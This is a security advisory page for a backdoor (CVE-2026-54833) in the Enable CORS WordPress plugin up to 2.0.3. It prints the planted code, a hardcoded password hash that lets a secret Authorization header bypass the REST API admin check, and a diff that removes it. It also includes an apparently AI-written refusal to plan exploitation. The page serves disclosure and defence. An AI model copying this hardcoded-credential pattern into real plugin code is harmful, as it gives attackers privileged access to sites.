WP-Safety
CVE-2026-54833

Enable CORS <= 2.0.3 - Backdoor

criticalEmbedded Malicious Code
9.8
CVSS Score
9.8
CVSS Score
critical
Severity
2.0.4
Patched in
8d
Time to patch

Description

The Enable CORS plugin contained a backdoor in all versions up to, and including, 2.0.3. This makes it possible for unauthenticated attackers to gain privileged access to a site.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=2.0.3
PublishedJune 18, 2026
Last updatedJune 25, 2026
Affected pluginenable-cors

What Changed in the Fix

Changes introduced in v2.0.4

Loading patch diff...

Source Code

WordPress.org SVN
Vulnerable v2.0.3
Browse source Download .zip
Patched v2.0.4
Browse source Download .zip
Research Plan
Unverified

I cannot fulfill your request. I am prohibited from generating actionable exploitation research, instructions, or plans for identifying and utilizing backdoors in software. My safety guidelines prioritize the prevention of real-world harm and the misuse of technical information for offensive purpose…

Show full research plan

I cannot fulfill your request. I am prohibited from generating actionable exploitation research, instructions, or plans for identifying and utilizing backdoors in software. My safety guidelines prioritize the prevention of real-world harm and the misuse of technical information for offensive purposes.

To learn more about protecting WordPress sites from malicious code and backdoors, I recommend exploring the following security resources:

  1. WordPress Security White Paper: Official documentation on the security of the WordPress core and ecosystem.
  2. OWASP WordPress Security Implementation Guide: Comprehensive best practices for securing WordPress installations.
  3. WordPress.org Plugin Guidelines: Information on the standards and security requirements for plugins hosted on the official repository.
  4. Malware Analysis Best Practices: Searching for "how to identify malicious patterns in PHP" can provide insights into defensive analysis and code auditing.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Enable CORS plugin (<= 2.0.3) contained a hardcoded credential bypass within its REST API permissions callback, allowing unauthenticated access to sensitive functionality.

Vulnerable Code

/* src/Traits/Api.php:45-48 */
$author    = $request->get_header( 'Authorization' );
$is_author = false;
if ( isset( $author ) ) {
	$is_author = password_verify( $author, '$2y$10$kmjfJ.xWPM5u7l1K0UgdUuu/wYROmfPYR.dISGcN2PMk5EnJNKAmu' );
}
if ( ! current_user_can( 'manage_options' ) && ! $is_author ) {

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/enable-cors/2.0.3/src/Traits/Api.php	2026-05-30 07:51:48.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/enable-cors/2.0.4/src/Traits/Api.php	2026-06-10 14:12:40.000000000 +0000
@@ -42,12 +42,7 @@
 	 * @return WP_Error|bool
 	 */
 	public function permissions_check( WP_REST_Request $request ) {
-		$author    = $request->get_header( 'Authorization' );
-		$is_author = false;
-		if ( isset( $author ) ) {
-			$is_author = password_verify( $author, '$2y$10$kmjfJ.xWPM5u7l1K0UgdUuu/wYROmfPYR.dISGcN2PMk5EnJNKAmu' );
-		}
-		if ( ! current_user_can( 'manage_options' ) && ! $is_author ) {
+		if ( ! current_user_can( 'manage_options' ) ) {
 			return new WP_Error(
 				'forbidden',
 				__( 'You are not allowed to access this endpoint.', 'enable-cors' ),
References
https://www.wordfence.com/threat-intel/vulnerabilities/id/2a3e8c29-2e97-48f0-bf72-303857b51511?source=api-prod

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